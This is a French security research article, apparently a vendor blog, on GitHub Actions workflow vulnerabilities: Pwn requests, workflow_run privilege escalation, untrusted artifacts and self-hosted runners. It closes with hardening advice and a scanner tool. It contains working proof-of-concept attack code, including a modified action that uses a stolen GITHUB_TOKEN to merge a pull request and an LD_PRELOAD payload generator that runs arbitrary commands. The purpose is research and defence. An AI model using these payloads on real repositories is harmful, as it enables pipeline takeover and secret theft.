Skip to main content

À la découverte des vulnérabilités de GitHub Actions

6 juin 2024

0 minutes de lecture

Les solutions de CI/CD sont devenues incontournables pour simplifier la modification du code et permettre la livraison rapide de fonctions. GitHub Actions, lancée en 2018, fait partie de ces solutions et a rapidement attiré l’attention du monde de la sécurité. Des entreprises comme Cycode et Praetorian, ainsi que des chercheurs en sécurité comme Teddy Katz et Adnan Khan ont ainsi fait des découvertes très intéressantes. Notre récente enquête a quant à elle révélé que des workflows vulnérables continuent d’apparaître dans des dépôts de premier plan, notamment ceux de Microsoft (dont Azure) et d’HashiCorp. Dans cet article, nous nous penchons sur GitHub Actions, étudions différents scénarios aboutissant à des vulnérabilités en nous appuyant sur des exemples tirés du monde réel, présentons des conseils clairs pour utiliser en toute sécurité les fonctions qui génèrent souvent des erreurs et vous faisons découvrir un outil open source pensé pour analyser les fichiers de configuration et signaler les problèmes éventuels.

Présentation de GitHub Actions

GitHub Actions est une puissante solution de CI/CD qui permet d’automatiser des workflows en réponse à des déclencheurs spécifiques. Un workflow se compose d’un ensemble de tâches exécutées sur des machines virtuelles hébergées par GitHub ou par l’utilisateur. Ces tâches se composent elles-mêmes de nombreuses étapes, chacune pouvant exécuter un script ou une action (unité réutilisable hébergée sur le GitHub Actions Marketplace ou un dépôt GitHub).

Les actions peuvent prendre trois formes :

  1. Docker : exécute une image Docker hébergée sur Docker Hub dans un conteneur.

  2. JavaScript : exécute une application Node.js directement sur la machine hôte.

  3. Composite: combine plusieurs étapes en une seule action.

Les workflows sont définis à l’aide de fichiers YAML placés dans le répertoire .github/workflows d’un dépôt. En voici un exemple très simple :

1name: Base Workflow
2on:
3  pull_request:
4
5jobs:
6  whoami:
7    name: I'm base
8    runs-on: ubuntu-latest
9    steps:
10      - run: echo "I'm base"

Chaque workflow doit inclure une directive name de référence, une clause on spécifiant les déclencheurs (par exemple, la création, la modification ou la fermeture d’une requête d’extraction) et une section jobs qui définit les tâches à exécuter. Les tâches s’exécutent en parallèle, sauf indication contraire (spécifiée par le biais d’instructions conditionnelles if).

Pour en savoir plus sur les actions et la méthode à suivre pour les créer, consultez la documentation officielle.

Authentification et secrets dans GitHub Actions

GitHub Actions génère automatiquement un secret GITHUB_TOKEN au démarrage de chaque workflow. Ce jeton permet d’authentifier le workflow et d’en gérer les autorisations. Les autorisations du jeton peuvent s’appliquer à l’ensemble des tâches d’un workflow ou être configurées séparément pour chaque tâche. Le jeton GITHUB_TOKEN joue un rôle central, car il permet aux utilisateurs de modifier le contenu d’un dépôt directement ou d’interagir avec l’API GitHub pour exécuter des actions exigeant des privilèges.

GitHub Actions prend également en charge l’envoi de secrets à une tâche. Les secrets sont des valeurs sensibles définies dans les paramètres du projet et utilisées lors d’opérations comme l’authentification auprès de services tiers ou l’accès à des API externes. Un attaquant parvenant à mettre la main sur un secret pourrait potentiellement prolonger son attaque au-delà de GitHub Actions. Voici un exemple de tâche utilisant un secret :

1name: Base Workflow
2on:
3  pull_request:
4
5jobs:
6  use-secret:
7    name: I'm using a secret
8    env:
9      MY_SECRET: ${{ secrets.MY_SECRET }}
10    runs-on: ubuntu-latest
11    steps:
12      - run: command --secret “$MY_SECRET”

Maintenant que nous avons vu les bases, allons plus loin en nous intéressant aux cas où des workflows mal configurés ou vulnérables peuvent avoir des conséquences sur votre sécurité.

Scénarios aboutissant à des vulnérabilités

Une des fonctionnalités de GitHub Actions s’avère particulièrement problématique : la gestion des dépôts dupliqués (forks). La duplication permet aux développeurs d’ajouter des fonctions à des dépôts sur lesquels ils ne disposent pas d’autorisations d’écriture. Pour cela, une copie du dépôt est créée, avec son historique complet, dans l’espace de noms de l’utilisateur. Les développeurs peuvent alors travailler sur ce dépôt dupliqué, créer des branches, pousser des changements de code et ouvrir une requête d’extraction sur le dépôt d’origine (base). Une fois qu’un gestionnaire du dépôt de base a examiné et approuvé cette requête, les changements du code sont fusionnés dans le dépôt de base.

L’utilisation dispose d’un contrôle total sur le dépôt dupliqué (« contexte du commit de fusion » dans la documentation GitHub) et n’importe qui peut dupliquer un dépôt. Ces possibilités génèrent une limite de sécurité dont GitHub a conscience. Par exemple, l’événement pull_request est recommandé pour les requêtes d’extraction provenant des duplications, car il n’a pas accès au contexte et aux secrets du dépôt de base.

Inversement, l’événement pull_request_target dispose d’un accès total sur le contexte et les secrets du dépôt de base, et inclut souvent des autorisations de lecture et d’écriture sur le dépôt. Imaginons que cet événement ne valide pas des entrées comme les noms des branches, les corps des requêtes d’extractions et les artefacts provenant du dépôt dupliqué. La limite de sécurité pourrait alors être compromise et mettre en danger le workflow.

Le tableau suivant récapitule les différences entre les événements pull_request_target et pull_request :

pull_request

pull_request_target

Contexte d’exécution

Dépôt dupliqué

Dépôt de base

Secrets

Autorisations GITHUB_TOKEN par défaut

LECTURE

LECTURE/ÉCRITURE

Attaque « Pwn request »

Une « Pwn Request » devient possible lorsqu’un workflow ne gère pas correctement le déclencheur pull_request_target et risque donc de compromettre le jeton GITHUB_TOKEN et de divulguer des secrets. L’exploitation de cette faille nécessite trois conditions bien précises :

Un workflow déclenché par l’événement pull_request_target : l’événement pull_request_target s’exécute dans le contexte du dépôt de base de la requête d’extraction et non pas du commit de fusion, au contraire de l’événement pull_request. Cela signifie que le workflow exécutera le code dans le contexte du dépôt en amont, auquel un utilisateur du dépôt dupliqué ne devrait pas pouvoir accéder. Dans ce cas, le jeton GITHUB_TOKEN se voit généralement attribuer des autorisations d’écriture. L’événement pull_request_target est pensé pour être utilisé avec du code en amont sécurisé, et une condition supplémentaire est donc nécessaire pour s’affranchir de cette limite.

Extraction explicite à partir du dépôt dupliqué :

1- uses: actions/checkout@v2
2	with:
3		ref: ${{ github.event.pull_request.head.sha }}

Remarque : github.event.pull_request.head.ref constitue également une option risquée. La clause ref pointant vers le dépôt dupliqué, la tâche exécutera du code entièrement contrôlé par l’attaquant.

Point d’exécution ou d’injection de code : c’est là que les dégâts interviennent. Imaginons qu’un attaquant dispose d’un contrôle total sur le code extrait. Il peut alors remplacer tout script exécuté lors des étapes suivantes par une version malveillante, introduire l’exécution d’une commande dans un fichier de configuration (p. ex. package.json utilisé par npm install) ou encore exploiter une vulnérabilité d’injection de commande au sein d’une étape pour exécuter du code arbitraire. L’étendue des dégâts dépendra de la configuration des autorisations et de la divulgation éventuelle de secrets permettant de compromettre d’autres services. Le cycle de vie de GITHUB_TOKEN étant limité au workflow en cours d’exécution, l’attaquant doit créer son exploit de sorte qu’il soit mis en œuvre sur cette période.

Pour analyser en détail les processus par lesquels des secrets peuvent être divulgués par GitHub Actions, lisez l’excellent résumé de Karim Rahal.

Élévation de privilèges avec workflow_run

Le déclencheur workflow_run de GitHub Actions est conçu pour exécuter des workflows les uns à la suite des autres et non en même temps. Toutefois, le workflow exécuté dans un deuxième temps dispose d’autorisations d’écriture et a accès aux secrets, même si le workflow qui le déclenche ne dispose pas de ces privilèges. Ce comportement peut générer un risque similaire à ceux que nous avons mentionnés précédemment. Comment un attaquant peut-il tirer parti de cette élévation de privilèges ?

Contrôle sur le workflow déclencheur : le workflow déclencheur doit être exécuté sans erreur et contrôlé par l’attaquant. Par exemple, ce workflow peut être déclenché par l’événement pull_request, qui s’exécute dans le contexte du dépôt de fusion (dupliqué) et est pensé pour l’exécution de code non sécurisé.

Workflow déclenché par workflow_run : un workflow secondaire doit être déclenché par l’événement workflow_run et extraire explicitement le code non sécurisé du dépôt dupliqué :

1- uses: actions/checkout@v4
2  with:
3    repository: ${{ github.event.workflow_run.head_repository.full_name }}
4    ref: ${{ github.event.workflow_run.head_sha }}
5    fetch-depth: 0

Notez que les variables repository et ref pointent vers le code contrôlé par l’attaquant. Ce code dispose maintenant de privilèges supérieurs pour l’événement workflow_run, et l’attaquant a donc réussi une élévation de privilèges.

Point d’exécution ou d’injection de code : comme dans les scénarios précédents, un attaquant a besoin d’un point d’exécution ou d’injection de code pour prendre le contrôle du workflow déclenché.

Téléchargement d’un artefact non sécurisé

Comme nous l’avons vu avec pull_request_target et workflow_run, l’exécution de workflows avec des privilèges de lecture et écriture sur un dépôt en amont sur du code non fiable peut s’avérer dangereuse. La documentation officielle de GitHub recommande de diviser le workflow en deux : une partie est chargée des opérations non sécurisées, comme l’exécution des commandes build sur un workflow à bas privilèges, et l’autre consomme les artefacts de sortie et exécute les opérations nécessitant des privilèges, comme commenter la requête d’extraction. En soi, cette façon de faire est parfaitement sûre. Mais que se passe-t-il si le workflow à privilèges utilise l’artefact d’une manière non sécurisée ?

Étudions l’exemple suivant.

upload.yml :

1name: Upload
2
3on:
4  pull_request:
5
6jobs:
7  test-and-upload:
8    runs-on: ubuntu-latest
9    steps:
10      - name: Checkout
11        uses: actions/checkout@v4
12      - name: Run tests
13        Run: npm install
14      - name: Store PR information
15        if: ${{ github.event_name == 'pull_request' }}
16        run: |
17          echo ${{ github.event.number }} > ./pr.txt
18      - name: Upload PR information
19        if: ${{ github.event_name == 'pull_request' }}
20        uses: actions/upload-artifact@v4
21        with:
22          name: pr
23          path: pr.txt

download.yml :

1jobs:
2  download:
3    runs-on: ubuntu-latest
4    if:
5      github.event.workflow_run.event == 'pull_request' &&
6      github.event.workflow_run.conclusion == 'success'
7    steps:
8    - uses: actions/download-artifact@v4
9      with:
10        name: pr
11        path: ./pr.txt
12    - name: Echo PR num
13        run: |
14          PR=$(cat ./pr.txt)
15          echo "PR_NO=${PR}" >> $GITHUB_ENV

Un attaquant peut créer une requête d’exécution qui remplace package.json par une version maison afin d’exécuter du code arbitraire à l’étape npm install et déclencher le workflow de chargement. Il peut ajouter un script preinstall qui configure LD_PRELOAD pour remplacer le fichier pr.txt par un fichier malveillant comme 1\nLD_PRELOAD=[ATTACKER_SHARED_OBJ]. Une fois ce fichier lu dans le workflow de téléchargement, la charge utile LD_PRELOAD est injectée dans GITHUB_ENV avec la commande echo. Si un attaquant est aussi en mesure de télécharger un objet partagé, p. ex. en téléchargeant un deuxième artefact sous son contrôle, l’ensemble du workflow à privilèges peut être compromis.

Exécuteurs auto-hébergés

GitHub Actions fournit des exécuteurs éphémères hébergés permettant d’exécuter des workflows. Si un utilisateur le souhaite, il peut aussi configurer un exécuteur auto-hébergé sur lequel il dispose d’un contrôle total. Cet avantage présente aussi des inconvénients : en cas de compromission, un attaquant pourra établir une présence persistante sur l’exécuteur et infiltrer d’autres workflows s’exécutant sur le même hôte, ainsi que d’autres hôtes du réseau interne. Lorsque ces exécuteurs sont configurés dans des dépôts publics, ils étendent la surface d’attaque, car ils sont en mesure d’exécuter du code qui ne provient pas uniquement des gestionnaires et développeurs de confiance du dépôt. Une présentation détaillée de ce vecteur d’attaque est disponible sur le blog d’Adnan Khan.

Actions vulnérables

Les actions forment également un vecteur d’attaque viable, capable de compromettre un workflow. Étant donné qu’elles sont hébergées sur GitHub, en prendre le contrôle peut permettre à l’attaquant de déclencher une attaque de chaîne d’approvisionnement sur tous les workflows qui en dépendent. Mais il n’y a même pas besoin d’aller si loin : les actions sont en réalité de simples scripts qui s’exécutent la plupart du temps directement sur l’hôte exécuteur (voire dans des conteneurs Docker). Elles reçoivent les données de la tâche appelante par le biais d’inputs (entrées) et peuvent accéder au contexte global et aux secrets GitHub. En réalité, une action appelée peut faire tout ce que fait un workflow appelant. Si une action contient une vulnérabilité classique, par exemple une injection de commande, et qu’un attaquant parvient à la déclencher à l’aide d’une entrée qu’il contrôle, il pourra prendre la main sur l’intégralité du workflow. 

Techniques d’exploit

Une fois qu’un workflow vulnérable a été détecté, il faut se demander s’il peut être exploité efficacement. Voici quelques techniques que nous trouvons utiles :

Injection de code ou de commande dans une étape : l’attaquant a alors le contrôle sur le contenu d’une requête d’extraction. Autrement dit, lorsqu’un workflow est déclenché par pull_request_target, il peut exécuter du code arbitraire et obtenir divers résultats intéressants, notamment :

  • Prendre la main sur la commande install du gestionnaire de paquets. L’exemple le plus évident est d’ajouter un script preinstall ou postinstall dans un fichier package.json qui sera exécuté par une commande npm install. Bien entendu, Node.js n’est pas le seul concerné. Les gestionnaires de paquets des autres écosystèmes ont des fonctions similaires. Pour découvrir d’autres exemples, rendez-vous sur la page Living-Off-The-Pipeline

  • Prendre le contrôle d’une action hébergée sur le même dépôt : les actions peuvent être hébergées sur n’importe quel dépôt GitHub, y compris sur celui qui contient le workflow. Lorsque la clause uses d’une étape commence par ./, le code utilisé est contenu dans un sous-dossier du dépôt. En remplaçant le fichier action.yml ou l’un des fichiers sources qui sera exécuté (p. ex. index.js en JavaScript), l’attaquant peut faire exécuter son propre code.

Utilisation de l’injection de variable d’environnement pour définir LD_PRELOAD : GitHub considère déjà l’injection de variables d’environnement comme une menace et limite donc celles qu’un utilisateur peut définir. Par exemple, il est possible de spécifier des arguments supplémentaires sur la CLI avec le fichier binaire node par le biais de la variable d’environnement NODE_OPTIONS. En l’absence de restrictions, un attaquant pourrait injecter une charge utile dans cette variable, ce qui aboutirait à l’exécution de sa commande. Par conséquent, GitHub bloque la définition de NODE_OPTIONS depuis un workflow, comme expliqué ici. En revanche, la variable LD_PRELOAD ne présente quant à elle aucune restriction. LD_PRELOAD pointe vers un objet partagé chargé par l’outil de création de liens dynamiques de Linux dans la mémoire du processus avant tous les autres. Ce comportement permet le hooking de fonctions, c’est-à-dire l’écrasement d’appels de fonction par du code personnalisé utilisé généralement à des fins d’instrumentation. En écrasant un appel système comme open() ou write() utilisé dans les opérations liées au système de fichiers, un attaquant peut injecter du code qui sera exécuté à partir du point d’injection.

Voyons quelques exemples concrets pour mieux comprendre certaines de ces techniques.

Attaque « Pwn request » sur terraform-cdk-action

Le dépôt terraform-cdk-action contient une action créée par Terraform. Les compromissions du workflow GitHub Actions de ce type de dépôt sont particulièrement dangereuses, car les modifications de l’action peuvent compromettre les workflows qui en dépendent. 

La vulnérabilité est localisée dans le workflow integration-tests.yml :

1pull_request_target: << This triggers the workflow
2   types:
3     - opened
4     - ready_for_review
5     - reopened
6     - synchronize
7...
8integrations-tests:
9 needs: prepare-integration-tests
10 runs-on: ubuntu-latest
11 steps:
12   - name: Checkout
13     uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
14     with:
15       ref: ${{ github.event.pull_request.head.ref }} << Unsafe checkout from fork
16       repository: ${{ github.event.pull_request.head.repo.full_name }}
17...
18   - name: Install Dependencies
19     run: cd test-stacks && yarn install << This installs the attackers ‘package.json’
20   - name: Integration Test - Local
21     uses: ./ << This runs the local action, from within the PR
22     with:
23       workingDirectory: ./test-stacks
24       stackName: "test-stack"
25       mode: plan-only
26       githubToken: ${{ secrets.GITHUB_TOKEN }} << This token can be stolen
27       commentOnPr: false
28   - name: Integration Test - TFC
29     uses: ./ << This runs the local action, from within the PR
30     with:
31       workingDirectory: ./test-stacks
32       stackName: "test-stack"
33       mode: plan-only
34       terraformCloudToken: ${{ secrets.TF_API_TOKEN }} << This token can be stolen
35       githubToken: ${{ secrets.GITHUB_TOKEN }} << This token can be stolen
36       commentOnPr: false

Ce workflow permet de tester l’action au sein de son propre dépôt. En étudiant le fichier action.yml, nous voyons que index.ts (compilé en JavaScript) est le principal fichier exécuté :

1name: terraform-cdk-action
2description: The Terraform CDK GitHub Action allows you to run CDKTF as part of your CI/CD workflow.
3runs:
4  using: node20
5  main: dist/index.js

Le workflow y fait référence dans la clause uses: ./. Par conséquent, il suffit de le modifier pour exécuter notre code. Voici un fichier index.ts modifié :

1import * as core from "@actions/core";
2import { run } from "./action";
3
4import { execSync } from 'child_process';
5
6console.log("\r\nPwned action...");
7console.log(execSync('id').toString());
8
9const tfToken = Buffer.from(process.env.INPUT_TERRAFORMCLOUDTOKEN || ''.split("").reverse().join("-")).toString('base64');
10const ghToken = Buffer.from(process.env.INPUT_GITHUBTOKEN || ''.split("").reverse().join("-")).toString('base64');
11
12console.log('Testing token...');
13const str = `# Merge PR
14curl -X PUT \
15    https://api.github.com/repos/mousefluff/terraform-cdk-action/pulls/2/merge \
16    -H "Accept: application/vnd.github.v3+json" \
17    --header "authorization: Bearer ${process.env.INPUT_GITHUBTOKEN}" \
18    --header 'content-type: application/json' \
19    -d '{"commit_title":"pwned"}'`;
20
21execSync(str, { stdio: 'inherit' });
22
23run().catch((error) => {
24  core.setFailed(error.message);
25});

Nous l’avons testé sur une copie du dépôt d’origine et pas sur le dépôt à proprement parler pour éviter toute altération inappropriée. Le déclencheur pull_request_target dispose des autorisations d’écriture sur le dépôt de base par défaut et n’était soumis à aucune restriction. Nous avons pu fusionner une requête d’extraction avec le jeton compromis sans problème :

Nous constatons que la requête d’extraction a bien été fusionnée par github-actions[bot] :

Comment sécuriser vos pipelines

La méthode à suivre pour sécuriser des workflows GitHub Actions dépend de leur implémentation, qui peut être très variable. Chaque scénario de déclenchement demande des garde-fous spécifiques. Reprenons les divers problèmes dont nous avons parlé et voyons comment les résoudre avec des exemples concrets.

Évitez d’exécuter des workflows à privilèges sur du code non fiable : avec les déclencheurs pull_request_target et workflow_run, n’extrayez du code issu de dépôts dupliqués que si vous n’avez pas d’autre choix. - ref ne doit pas pointer vers github.event.pull_request.head.ref ou github.event.workflow_run.head_sha, par exemple. Ces déclencheurs s’exécutent dans le contexte du dépôt de base avec les autorisations de lecture et d’écriture accordées au jeton GITHUB_TOKEN par défaut et accèdent aux secrets : la compromission de ces workflows est donc particulièrement dangereuse.

Si l’extraction du code est indispensable, d’autres mesures de sécurité s’imposent :

Valider le dépôt/l’utilisateur déclencheur : ajoutez une condition if à l’étape d’extraction pour limiter les sources de déclenchement possibles :

1jobs:
2  validate_email:
3    permissions:
4      pull-requests: write
5    runs-on: ubuntu-latest
6    if: github.repository == 'llvm/llvm-project'
7    steps:
8      - name: Fetch LLVM sources
9        uses: actions/checkout@v4
10        with:
11          ref: ${{ github.event.pull_request.head.sha }}

Exemple tiré de llvm/llvm-project. Vous noterez la condition if, qui vérifie si le dépôt GitHub qui déclenche l’extraction est le dépôt de base. Les requêtes d’extraction déclenchées par les dépôts dupliqués sont donc bloquées.

Voici un autre exemple, qui vérifie cette fois que l’utilisateur qui a créé la requête d’extraction est bien un utilisateur de confiance :

1jobs:
2  merge-dependabot-pr:
3    runs-on: ubuntu-latest
4    if: github.actor == 'dependabot[bot]'
5    steps:
6
7      - uses: actions/checkout@v4
8        with:
9          show-progress: false
10          ref: ${{ github.event.pull_request.head.sha }}

Dans spring-projects/spring-security, github.actor fait l’objet d’une vérification impliquant la recherche de Dependabot. Les requêtes d’extraction provenant d’autres utilisateurs ne peuvent donc pas exécuter la tâche.

N’exécutez le workflow qu’après une validation manuelle : pour ce faire, ajoutez une étiquette à la requête d’extraction.

1name: Benchmark
2
3on:
4  pull_request_target:
5    types: [labeled]
6
7jobs:
8  benchmark:
9    if: ${{ github.event.label.name == 'benchmark' }}
10    runs-on: ubuntu-latest
11...
12    steps:
13      - uses: actions/checkout@v4
14        with:
15          persist-credentials: false
16          ref: ${{github.event.pull_request.head.sha}}
17          repository: ${{github.event.pull_request.head.repo.full_name}}

Cet exemple tiré de fastify/fastify montre un workflow qui ne peut être déclenché que par une requête d’extraction étiquetée « benchmark ». Ces instructions conditionnelles if peuvent s’appliquer à une tâche ou à une étape précise.

Vérifiez que le dépôt déclenchant le workflow est bien le dépôt de base : il existe un autre moyen de bloquer les requêtes d’extraction provenant de dépôts dupliqués. Penchons-nous sur la condition if suivante, utilisée dans le cadre d’un workflow qui se déclenche avec pull_request_target :

1jobs:
2  deploy:
3    name: Build & Deploy
4    runs-on: ubuntu-latest
5    if: >
6      (github.event_name == 'pull_request_target' && contains(github.event.pull_request.labels.*.name, 'impact/docs'))
7      || (github.event_name != 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository)

Comme nous pouvons le voir, python-poetry/poetry vérifie que la valeur github.event.pull_request.head.repo.full_name provenant du contexte de l’événement de la requête d’extraction correspond au dépôt de base github.repository.

Cette vérification se présentera comme suit pour un workflow déclenché par workflow_run :

1jobs:
2  publish-latest:
3    runs-on: ubuntu-latest
4    if: ${{ (github.event.workflow_run.conclusion == 'success') && (github.event.workflow_run.head_repository.full_name == github.repository) }}

Exemple tiré de TwiN/gatus.

Traitez les actions comme s’il s’agissait de dépendances tierces. Toute personne qui connaît l’open source et la sécurité des développeurs sait probablement qu’il est dangereux d’utiliser des paquets stockés dans des registres de code publics. Les actions sont l’équivalent des dépendances dans GitHub Actions. Si vous en utilisez une, pensez à valider le dépôt qui la contient. Une fois cette opération effectuée, vous pouvez lui associer un hachage de commit (une étiquette de version ne suffit pas) pour vous assurer que GitHub Actions n’en utilisera pas une nouvelle version en cas de mise à jour. Ainsi, si l’action venait à être compromise, vous n’en subirez pas les conséquences. Pour épingler une action, utilisez le symbole @ après son nom :

1steps:
2      - uses: actions/checkout@9bb56186c3b09b4f86b1c65136769dd318469633 # v4.1.2

Gestion des artefacts non fiables dans GitHub Actions : les artefacts générés par des workflows s’exécutant sur du code non fiable doivent être traités avec la même prudence que le code contrôlé par les utilisateurs, car ils peuvent servir de points d’entrée dans un workflow à privilèges. Pour limiter ce risque, spécifiez toujours le paramètre path lors du téléchargement d’artefacts avec l’action github/download-artifact. Vous aurez ainsi la certitude que le contenu des artefacts est extrait vers le répertoire choisi et éviterez tout écrasement involontaire des fichiers situés à la racine de la tâche par d’autres fichiers pouvant ensuite être exécutés dans un contexte à privilèges. De plus, les développeurs doivent s’assurer que le contenu de ces artefacts est échappé et nettoyé correctement avant d’être utilisé dans le cadre d’opérations sensibles. En prenant ces précautions, vous réduirez considérablement le risque d’introduction de vulnérabilités par le biais d’artefacts non fiables.

Limitez le code s’exécutant sur des exécuteurs auto-hébergés : par défaut, les requêtes d’extraction provenant de dépôts dupliqués ont besoin d’une approbation pour pouvoir exécuter des workflows si le propriétaire n’a encore jamais contribué au dépôt. S’il a déjà contribué au code, ne serait-ce que pour corriger une faute de frappe, les workflows s’exécuteront automatiquement lors de ses requêtes d’extraction. Évidemment, cet obstacle n’est pas bien compliqué à contourner, et nous vous recommandons donc de définir le paramètre suivant pour demander une approbation pour l’ensemble des contributeurs :

Le dépôt step-security/harden-runner propose aussi un outil de renforcement de la sécurité pensé pour être la première étape de toute tâche d’un workflow. Attention : le renforcement des solutions de RCE en tant que service n’est pas simple. L’utilisation de cet outil peut s’avérer risquée.

Respect du principe de moindre privilège : dans le pire des cas, si un workflow est compromis, l’attaquant peut exécuter du code arbitraire. Limiter les autorisations de GITHUB_TOKEN peut alors devenir la dernière ligne de défense l’empêchant de pleinement s’emparer d’un dépôt. Vous pouvez effectuer cette opération de manière globale dans les paramètres du dépôt, pour chaque workflow ou même pour des tâches spécifiques depuis le fichier de configuration YAML. Accordez une importance particulière aux workflows déclenchés lors d’événements comme pull_request_target et workflow_run, car ils disposent par défaut d’un accès complet en lecture et écriture sur le dépôt de base.

Outil communautaire : GitHub Actions Scanner

Nous avons créé un outil en ligne de commande, GitHub Actions Scanner, qui permet de détecter les problèmes de vos workflows et actions GitHub Actions. Il est capable d’analyser tous les fichiers de configuration YAML du dépôt ou de l’organisation GitHub que vous lui indiquez, et s’appuie sur un moteur de règles basées sur des expressions régulières pour détecter des anomalies. Il propose aussi des fonctions facilitant l’exploitation :

Création automatique d’une copie du dépôt cible : si un problème est détecté et qu’il nécessite une validation supplémentaire ou le développement d’un exploit, il est préférable de ne pas utiliser le dépôt cible afin d’éviter de modifier le code en production et d’exposer le problème avant qu’il ait pu être corrigé et divulgué de manière responsable. Mieux vaut donc créer une copie du dépôt chez l’utilisateur ou l’organisation GitHub de votre choix pour réaliser des tests de manière isolée.

Génération de la charge utile LD_PRELOAD : lorsqu’une injection de commande est possible, la compromission des étapes suivantes à l’aide de LD_PRELOAD permet généralement de prendre efficacement le contrôle d’un workflow. Nous avons donc créé un générateur de preuves de concept (POC) basé sur le modèle suivant :

1const ldcode = Buffer.from(`#include <stdlib.h>
2void __attribute__((constructor)) so_main() { unsetenv("LD_PRELOAD"); system("${command.replace("\"", "\\\"")}"); }
3`)
4     const code = Buffer.from(`echo ${ldcode.toString("base64")} | base64 -d | cc -fPIC -shared -xc - -o $GITHUB_WORKSPACE/ldpreload-poc.so; echo "LD_PRELOAD=$GITHUB_WORKSPACE/ldpreload-poc.so" >> $GITHUB_ENV`)

Il contient les étapes suivantes :

  • Création d’un petit programme en C encodé en base64 qui appelle le syscall system sur une commande spécifiée par l’utilisateur.

  • Décodage et compilation de ce programme en un objet partagé dans le répertoire racine $GITHUB_WORKSPACE.

  • Définition de LD_PRELOAD sur l’objet partagé et chargement dans GITHUB_ENV.

Conclusion

Dans cet article, nous vous avons donné un aperçu des vulnérabilités et risques de sécurité liés à GitHub Actions. En raison des multiples options disponibles et du degré de précision dont doit faire preuve la documentation officielle à des fins de clarté, les développeurs font encore des erreurs qui entraînent la compromission des pipelines CI/CD. Mais attention : les workflows mal configurés, voire vulnérables, ne sont pas l’apanage de GitHub Actions, et il est nécessaire de veiller à les sécuriser. Les outils modernes d’analyse de la chaîne d’approvisionnement et d’analyse statique peuvent ne pas les détecter, et les développeurs doivent donc respecter les meilleures pratiques de sécurité. Nous avons créé un outil open source pour vous aider à combler vos lacunes et détecter les problèmes éventuels. Ce domaine est de plus en plus étudié, et cet article et d’autres aideront les développeurs à se concentrer et s’informer sur ces sujets, et donc à réduire la prévalence de ces bugs.

Vous voulez l’essayer par vous-même ?

Find out which types of vulnerabilities are most likely to appear in your projects based on Snyk scan results and security research.